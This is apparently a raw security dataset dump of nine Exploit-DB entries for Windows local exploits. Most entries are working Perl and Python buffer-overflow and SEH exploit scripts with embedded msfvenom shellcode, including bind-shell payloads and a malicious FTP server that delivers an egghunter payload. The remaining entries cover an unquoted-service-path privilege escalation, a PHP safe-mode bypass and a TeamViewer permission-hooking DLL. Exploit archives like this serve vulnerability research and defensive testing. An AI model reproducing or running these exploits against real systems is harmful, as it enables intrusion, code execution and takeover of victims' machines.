deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45710
Description: Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC)
Type: local
Platform: windows_x86
Date: 2018-10-29
Author: Kağan Çapar

Exploit:
# Exploit Title: Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC)
# Author: Kağan Çapar
# Discovery Date: 2018-10-27
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Vendor Homepage : https://www.modbustools.com
# Tested Version: 7
# Tested on OS: Windows XP SP3 *ENG
# other version should be affected
# About software : Modbus Slave is for simulating up to 32 slave devices in 32 windows!. 
# Speed up your PLC programming with this simulating tools.  Used for SCADA systems.
# Modbus is a serial communications protocol originally published by Schneider Electric
# Steps to Reproduce: Run the perl exploit script, it will create a new
# file with the name "exploit.msw" and Drag on to "mbslave.exe"
# you will see a loop and crash on software
# Greetz : cwd-onkan-badko-key-akkus

# ! /usr/bin/perl

# Dump of assembler code for function loop:
# 0x[PII_REDACTED]558030 <+0>:	mov    $0x1e3b563c,%ebx
# 0x[PII_REDACTED]558035 <+5>:	fld    %st(4)
# 0x[PII_REDACTED]558037 <+7>:	fnstenv -0xc(%rsp)
# 0x[PII_REDACTED]55803b <+11>:	pop    %rax
# 0x[PII_REDACTED]55803c <+12>:	sub    %ecx,%ecx
# 0x[PII_REDACTED]55803e <+14>:	mov    $0x1,%cl
# 0x[PII_REDACTED]558040 <+16>:	xor    %ebx,0x14(%rax)
# 0x[PII_REDACTED]558043 <+19>:	add    $0x4,%eax
# 0x[PII_REDACTED]558046 <+22>:	add    0x10(%rax),%ebx
# 0x[PII_REDACTED]558049 <+25>:	fisubs 0xe0d0(%rbx)

# msfvenom -p generic/tight_loop --platform windows_86 -f perl -e x86/shikata_ga_nai
# print /x &loop
# $1 = 0x[PII_REDACTED]30

open(code, ">exploit.msw");
binmode(code);
$loop = 
"\xbb\x3c\x56\x3b\x1e\xd9\xc4\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\xb1\x01\x31\x58\x14\x83\xc0\x04\x03\x58\x10\xde\xa3\xd0" .
"\xe0";

print code $loop;
close(code);
Exploit-DB #45181
Description: Monitoring software iSmartViewPro 1.5 - 'SavePath for ScreenShots' Buffer Overflow
Type: local
Platform: windows_x86
Date: 2018-08-13
Author: Shubham Singh

Exploit:
# Exploit Title: iSmartViewPro 1.5 - 'SavePath for ScreenShots' Local Buffer Overflow  
# Author: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
# Discovey Date: 2018-08-12
# Software Link: https://securimport.com/university/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Tested on OS: Windows XP Service Pack 3 x86
# Steps to Reproduce: 
# Run the python exploit script, it will create a new file with the name 
# "exploit.txt" just copy the text inside "exploit.txt" and start the 
# iSmartViewPro 1.5 program and click on "System Setup" in the 
# "Save Path for Snapshot and Record file" field. Paste the content of 
# "exploit.txt" and click on Save. You will see a sweet calculator poped up.
# Greetz:  @FuzzySec @LiveOverflow @hexachordanu @HansSecurity

#!/usr/bin/python
   
buffer = "A" * 272
#0x6a192c79 : call ebp | asciiprint,ascii {PAGE_EXECUTE_READ} [avcodec-54.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\iSmartViewPro\avcodec-54.dll)

eip = "\x79\x2C\x19\x6A"
nops = "\x90" *12
#badchar \x00\x0a\x0d
#msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python
buf =  ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (600 - len(eip) - len(buffer) - len(nops) - len(buf) )

payload = buffer + eip + nops + buf + pad
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #45442
Description: NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)
Type: local
Platform: windows_x86
Date: 2018-09-20
Author: Abdullah Alıç

Exploit:
# Exploit Title: NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)
# Author: Abdullah Alıç
# Date: 2018-09-04
# Software link: https://en.softonic.com/download/nico-ftp/windows/post-download
# Tested Version: 3.0.1.19
# Vulnerability Type: Buffer Overflow (SEH)
# Tested on OS: Windows XP Professional SP3 x86 eng

import socket
import sys
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(5)
        
#msfvenom -p windows/shell_bind_tcp  -b "\x00\x0a\x0d" -f python
#355 bytes
buf =  ""
buf += "\xba\xc6\xe4\x42\xd0\xd9\xea\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x53\x83\xc6\x04\x31\x56\x0e\x03\x90\xea\xa0"
buf += "\x25\xe0\x1b\xa6\xc6\x18\xdc\xc7\x4f\xfd\xed\xc7\x34"
buf += "\x76\x5d\xf8\x3f\xda\x52\x73\x6d\xce\xe1\xf1\xba\xe1"
buf += "\x42\xbf\x9c\xcc\x53\xec\xdd\x4f\xd0\xef\x31\xaf\xe9"
buf += "\x3f\x44\xae\x2e\x5d\xa5\xe2\xe7\x29\x18\x12\x83\x64"
buf += "\xa1\x99\xdf\x69\xa1\x7e\x97\x88\x80\xd1\xa3\xd2\x02"
buf += "\xd0\x60\x6f\x0b\xca\x65\x4a\xc5\x61\x5d\x20\xd4\xa3"
buf += "\xaf\xc9\x7b\x8a\x1f\x38\x85\xcb\x98\xa3\xf0\x25\xdb"
buf += "\x5e\x03\xf2\xa1\x84\x86\xe0\x02\x4e\x30\xcc\xb3\x83"
buf += "\xa7\x87\xb8\x68\xa3\xcf\xdc\x6f\x60\x64\xd8\xe4\x87"
buf += "\xaa\x68\xbe\xa3\x6e\x30\x64\xcd\x37\x9c\xcb\xf2\x27"
buf += "\x7f\xb3\x56\x2c\x92\xa0\xea\x6f\xfb\x05\xc7\x8f\xfb"
buf += "\x01\x50\xfc\xc9\x8e\xca\x6a\x62\x46\xd5\x6d\x85\x7d"
buf += "\xa1\xe1\x78\x7e\xd2\x28\xbf\x2a\x82\x42\x16\x53\x49"
buf += "\x92\x97\x86\xe4\x9a\x3e\x79\x1b\x67\x80\x29\x9b\xc7"
buf += "\x69\x20\x14\x38\x89\x4b\xfe\x51\x22\xb6\x01\x4c\xef"
buf += "\x3f\xe7\x04\x1f\x16\xbf\xb0\xdd\x4d\x08\x27\x1d\xa4"
buf += "\x20\xcf\x56\xae\xf7\xf0\x66\xe4\x5f\x66\xed\xeb\x5b"
buf += "\x97\xf2\x21\xcc\xc0\x65\xbf\x9d\xa3\x14\xc0\xb7\x53"
buf += "\xb4\x53\x5c\xa3\xb3\x4f\xcb\xf4\x94\xbe\x02\x90\x08"
buf += "\x98\xbc\x86\xd0\x7c\x86\x02\x0f\xbd\x09\x8b\xc2\xf9"
buf += "\x2d\x9b\x1a\x01\x6a\xcf\xf2\x54\x24\xb9\xb4\x0e\x86"
buf += "\x13\x6f\xfc\x40\xf3\xf6\xce\x52\x85\xf6\x1a\x25\x69"
buf += "\x46\xf3\x70\x96\x67\x93\x74\xef\x95\x03\x7a\x3a\x1e"
buf += "\x33\x31\x66\x37\xdc\x9c\xf3\x05\x81\x1e\x2e\x49\xbc"
buf += "\x9c\xda\x32\x3b\xbc\xaf\x37\x07\x7a\x5c\x4a\x18\xef"
buf += "\x62\xf9\x19\x3a"

nseh="\xEB\x80\x90\x90" # JMP BACK 128 bytes
seh="\x84\x12\x40\x00" #POP-POP-RETN null byte is trivial 
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "\x54\x30\x30\x57" #W00T

junk = "\x90" * (2160-len(buf)-len(egghunter)) + egg + egg + buf +"\x90" * 100 + egghunter   + "\x90" * 7 + "\xEB\x80\x90\x90" +"\x84\x12\x40\x00" #junk total 2283 bytes

buffer =junk

while True:
    conn, addr = s.accept()
    conn.send('220 Malicious FTP server!\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')
Exploit-DB #45531
Description: NICO-FTP 3.0.1.19 - Buffer Overflow (SEH) (ASLR Bypass)
Type: local
Platform: windows_x86
Date: 2018-10-04
Author: Miguel Mendez Z

Exploit:
# Title: NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)(ASLR)
# Date: 2018-10-04
# Platforms: Windows
# Author: Miguel Mendez Z
# Vendor: Nico-FTP
# Version: 3.0.1.19
# Tested on: Windows XP_sp3 [es]/ Windows 7_x86 [eng]

#!/usr/bin/python

import struct

# Bad Byte: \x0a\x0b\x0c\x0d\x0e\x0f\x5d
happy = (
	"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
	"\x05\x5a\x74\xef\xb8\x30\x52\x31\x53\x8b\xfa\xaf\x75"
	"\xea\xaf\x75\xe7\xff\xe7")
happy += "\x90"*50

shell  = "\x30\x52\x31\x53"*2 # S1R0
shell += "\x90"*8
shell += (
	"\x6a\x30\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
	"\x25\xa8\xbe\x1c\x83\xeb\xfc\xe2\xf4\xd9\x40\x3c\x1c"
	"\x25\xa8\xde\x95\xc0\x99\x7e\x78\xae\xf8\x8e\x97\x77"
	"\xa4\x35\x4e\x31\x23\xcc\x34\x2a\x1f\xf4\x3a\x14\x57"
	"\x12\x20\x44\xd4\xbc\x30\x05\x69\x71\x11\x24\x6f\x5c"
	"\xee\x77\xff\x35\x4e\x35\x23\xf4\x20\xae\xe4\xaf\x64"
	"\xc6\xe0\xbf\xcd\x74\x23\xe7\x3c\x24\x7b\x35\x55\x3d"
	"\x4b\x84\x55\xae\x9c\x35\x1d\xf3\x99\x41\xb0\xe4\x67"
	"\xb3\x1d\xe2\x90\x5e\x69\xd3\xab\xc3\xe4\x1e\xd5\x9a"
	"\x69\xc1\xf0\x35\x44\x01\xa9\x6d\x7a\xae\xa4\xf5\x97"
	"\x7d\xb4\xbf\xcf\xae\xac\x35\x1d\xf5\x21\xfa\x38\x01"
	"\xf3\xe5\x7d\x7c\xf2\xef\xe3\xc5\xf7\xe1\x46\xae\xba"
	"\x55\x91\x78\xc2\xbf\x91\xa0\x1a\xbe\x1c\x25\xf8\xd6"
	"\x2d\xae\xc7\x39\xe3\xf0\x13\x4e\xa9\x87\xfe\xd6\xba"
	"\xb0\x15\x23\xe3\xf0\x94\xb8\x60\x2f\x28\x45\xfc\x50"
	"\xad\x05\x5b\x36\xda\xd1\x76\x25\xfb\x41\xc9\x46\xc9"
	"\xd2\x7f\x25\xa8\xbe\x1c")
shell += "\x90"*30

lol = "ftp.pwnd.com"+" "*50
padding = lol+"\x41"*(4132-(len(shell)+len(happy)+len(lol)))
next_se = "\xEB\x90\x90\x90"
seh_han = struct.pack("<I",0x00422B46) #pop ecx - pop ebp - ret 0x04 -> NicoFtp3.exe
nops = " "*(4881-len(padding))
 
payload = padding+shell+happy+next_se+seh_han+nops

file = open('Sites.conf','w')
file.write('['+payload+']\nHost=\nPort=\nUserName=\nPassword=\nAnonymous=1\nPassive=2\nUseProxy=1\nLocalDir=\nHostDir=\n')
file.close()
Exploit-DB #34037
Description: OpenVPN Private Tunnel Core Service - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows_x86
Date: 2014-07-12
Author: LiquidWorm

Exploit:

OpenVPN Private Tunnel Core Service Unquoted Service Path Elevation Of Privilege


Vendor: OpenVPN Technologies, Inc
Product web page: http://www.openvpn.net
Affected version: 2.1.28.0 (PrivateTunnel 2.3.8)

Summary: Private Tunnel is a new approach to true Internet security creating
a Virtual Private Tunnel (VPT) or Virtual Private Network (VPN) that encrypts,
privatizes, and protects your Internet traffic.

Desc: Private Tunnel application suffers from an unquoted search path issue
impacting the Core Service 'ptservice' service for Windows deployed as part
of PrivateTunnel bundle. This could potentially allow an authorized but
non-privileged local user to execute arbitrary code with elevated privileges
on the system.  A successful attempt would require the local user to be able
to insert their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during application
startup or reboot.  If successful, the local user's code would execute with the
elevated privileges of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5192
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5192.php


07.07.2014

---


C:\Users\user>sc qc ptservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ptservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Private Tunnel Core Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>icacls "C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe"
C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                        BUILTIN\Administrators:(I)(F)
                                                                        BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\user>
Exploit-DB #8799
Description: PHP 5.2.9 (Windows x86) - Local Safemod Bypass
Type: local
Platform: windows_x86
Date: 2009-05-26
Author: Abysssec

Exploit:
Abysssec Inc Public Advisory


Title  : PHP <= 5.2.9 SafeMod Bypass Vulnerability 
Affected Version : Tested on 5.2.8, 5.2.6 but previous versions maybe be afftect
Vendor  Site   : www.php.net

Vulnerability Discoverd by   : www.abysssec.com


Description : 

Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
the problem comes from OS behavior - implement  and interfacing between php
and operation systems directory structure . the problem is php won't tell difference 
between directory browsing in linux and windows this can lead attacker to ability 
execute his / her commands on targert machie even in SafeMod On  (php.ini setting) . 

Vulnerability :

in linux when you want open a directory for example php directory you need
to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
diffence between slash and back slash it means there is no didffrence  between 
c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple 
php implement "\" character can escape safemode using  function like excec . 


PoC / Exploit : 

orginal : www.abysssec.com/safemod-windows.zip
mirror  : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8799.zip (2009-safemod-windows.zip)



note : this vulnerabities is just for educational purpose and showing vulnerability exist 
so author will be not be responsible for any damage using this vulnerabilty. 

for more information visit Abysssec.com
feel free to contact me at admin [at] abysssec.com

# milw0rm.com [2009-05-26]
Exploit-DB #45235
Description: Project64 2.3.2 - Buffer Overflow (SEH)
Type: local
Platform: windows_x86
Date: 2018-08-22
Author: Shubham Singh

Exploit:
# Exploit Title: Project64 2.3.2 - Local BufferOverflow (SEH)
# Date: 2018-08-21
# Author: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
# Software Link:https://www.pj64-emu.com/download/project64-latest
# Tested Version: 2.3.2
# Tested on OS: Windows XP Service Pack 3 x86 , Windows 7 ultimate x86

# Steps to Reproduce:
# 1. Run the python exploit script, it will create a new file with the name "exploit.txt".
# 2. Just copy the text inside "exploit.txt".
# 3. Start the program. In the new window click "Options" > "Settings" > "Directories".
# 4. Now paste the content of "exploit.txt" into the field:"Plugin Directory" and make sure it is selected. Click "Apply" > "Ok"
# You will see a sweet calculator poped up.
# Greetz: @hexachordanu @FuzzySec @LiveOverflow

junk = "A" * 380
nseh = "\xEB\x06\x90\x90"
#0x10096609 : pop ebx # pop eax # ret  | ascii {PAGE_EXECUTE_READWRITE} [Jabo_Direct3D8.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.7.0.57-ver5 (C:\Program Files\Project64 2.3\Plugin\GFX\Jabo_Direct3D8.dll)
seh = "\x09\x66\x09\x10" 
nops = "\x90" * 18
#badchar \x00\x0a\x0d\x2f
buf =  ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (700 - len(nseh) -len(seh) - len(junk) -len(nops) - len(buf))

payload = junk + nseh +seh + nops + buf + pad

exploit = payload
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(exploit)
    f.write(exploit)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #45598
Description: Snes9K 0.0.9z - Buffer Overflow (SEH)
Type: local
Platform: windows_x86
Date: 2018-10-15
Author: Abdullah Alıç

Exploit:
# Exploit Title: Snes9K 0.0.9z - Buffer Overflow (SEH)
# Date: 2018-10-13
# Exploit Author: Abdullah Alıç
# Vendor Homepage: https://sourceforge.net/projects/snes9k/
# Software Link: https://sourceforge.net/projects/snes9k/files/latest/download
# Version: 0.0.9z
# Tested on: Windows XP Professional sp3(ENG) 
# Category: Windows Local Exploit
# How to use: open the program go to "Netplay --> Options" paste the contents of boom.txt 
# in  Socket Port Number --> Connect victim machine on port 4444   
#!/usr/bin/python

#msfvenom -p windows/shell_bind_tcp  -b "\x00\x0a\x0d\x9f\x8f\x8e\x8d\x9e\x9d\xd0\xdd\xfd\xfe\xf0\xde" -f python
#352 bytes
buf =  ""
buf += "\x2b\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\x43\x2b\x2a\x41\x83\xee\xfc\xe2\xf4\xbf\xc3"
buf += "\xa8\x41\x43\x2b\x4a\xc8\xa6\x1a\xea\x25\xc8\x7b\x1a"
buf += "\xca\x11\x27\xa1\x13\x57\xa0\x58\x69\x4c\x9c\x60\x67"
buf += "\x72\xd4\x86\x7d\x22\x57\x28\x6d\x63\xea\xe5\x4c\x42"
buf += "\xec\xc8\xb3\x11\x7c\xa1\x13\x53\xa0\x60\x7d\xc8\x67"
buf += "\x3b\x39\xa0\x63\x2b\x90\x12\xa0\x73\x61\x42\xf8\xa1"
buf += "\x08\x5b\xc8\x10\x08\xc8\x1f\xa1\x40\x95\x1a\xd5\xed"
buf += "\x82\xe4\x27\x40\x84\x13\xca\x34\xb5\x28\x57\xb9\x78"
buf += "\x56\x0e\x34\xa7\x73\xa1\x19\x67\x2a\xf9\x27\xc8\x27"
buf += "\x61\xca\x1b\x37\x2b\x92\xc8\x2f\xa1\x40\x93\xa2\x6e"
buf += "\x65\x67\x70\x71\x20\x1a\x71\x7b\xbe\xa3\x74\x75\x1b"
buf += "\xc8\x39\xc1\xcc\x1e\x43\x19\x73\x43\x2b\x42\x36\x30"
buf += "\x19\x75\x15\x2b\x67\x5d\x67\x44\xd4\xff\xf9\xd3\x2a"
buf += "\x2a\x41\x6a\xef\x7e\x11\x2b\x02\xaa\x2a\x43\xd4\xff"
buf += "\x2b\x4b\x72\x7a\xa3\xbe\x6b\x7a\x01\x13\x43\xc0\x4e"
buf += "\x9c\xcb\xd5\x94\xd4\x43\x28\x41\x52\x77\xa3\xa7\x29"
buf += "\x3b\x7c\x16\x2b\xe9\xf1\x76\x24\xd4\xff\x16\x2b\x9c"
buf += "\xc3\x79\xbc\xd4\xff\x16\x2b\x5f\xc6\x7a\xa2\xd4\xff"
buf += "\x16\xd4\x43\x5f\x2f\x0e\x4a\xd5\x94\x2b\x48\x47\x25"
buf += "\x43\xa2\xc9\x16\x14\x7c\x1b\xb7\x29\x39\x73\x17\xa1"
buf += "\xd6\x4c\x86\x07\x0f\x16\x40\x42\xa6\x6e\x65\x53\xed"
buf += "\x2a\x05\x17\x7b\x7c\x17\x15\x6d\x7c\x0f\x15\x7d\x79"
buf += "\x17\x2b\x52\xe6\x7e\xc5\xd4\xff\xc8\xa3\x65\x7c\x07"
buf += "\xbc\x1b\x42\x49\xc4\x36\x4a\xbe\x96\x90\xda\xf4\xe1"
buf += "\x7d\x42\xe7\xd6\x96\xb7\xbe\x96\x17\x2c\x3d\x49\xab"
buf += "\xd1\xa1\x36\x2e\x91\x06\x50\x59\x45\x2b\x43\x78\xd5"
buf += "\x94"

nseh= "\xeb\x06\x90\x90" 
seh = "\x39\x1f\xd1\x72" #POP-POP-RET msacm32.drv

buffer = "\x90" * 244 +  nseh + seh + buf + "\x90"*20

payload = buffer
try:
    f=open("boom.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #43366
Description: TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change
Type: local
Platform: windows_x86
Date: 2017-12-04
Author: gellin

Exploit:
# TeamViewer Permissions Hook V1
---
[![License](http://img.shields.io/badge/license-MIT-green.svg)](https://github.com/gellin/TeamViewer_Permissions_Hook_V1/blob/master/LICENSE)

**A proof of concept injectable C++ DLL, that uses naked inline hooking and direct memory modification to change TeamViewer permissions.**

## Features
* **As the Server** - Enables extra menu item options on the right side pop-up menu. Most useful so far to enable the "switch sides" feature which is normally only active after you have already authenticated control with the client, and initiated a change of control/sides.
* **As the Client** - Allows for control of mouse with disregard to servers current control settings and permissions.

## Demo

#### As the Server
![](https://raw.githubusercontent.com/gellin/TeamViewer_Permissions_Hook_V1/84b3aecd8f65f138989d460740b52195f0b1e1ac/server_switch_sides.gif)

#### Client
![](https://raw.githubusercontent.com/gellin/TeamViewer_Permissions_Hook_V1/84b3aecd8f65f138989d460740b52195f0b1e1ac/client_takes_control.gif)

## Rundown
* Utilizes signature/pattern scanning to dynamically locate key parts in the code at which the assembly registers hold pointers to interesting classes. Applies inline naked hooks a.k.a code caves, to hi-jack the pointers to use for modification via direct memory access to their reversed classes.
* Inject and follow the steps

## Requirements
* Your favorite Manual Mapper, PE Loader, DLL Injector, inject into - "TeamViewer.exe"
* This version was Built on Windows 10, for TeamViewer x86 Version 13.0.5058 - (Other versions of TeamViewer have not been tested but with more robust signatures it may work, linux not supported)

## Disclaimer
* Developed for educational purposes as a proof of concept for testing. I do not condone the or support the use of this software for unethical or illicit purposes. No responsibility is held or accepted for misuse.

## Credit
[@timse93](https://github.com/timse93) - Research and Testing

## EDB-Note
Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43366.zip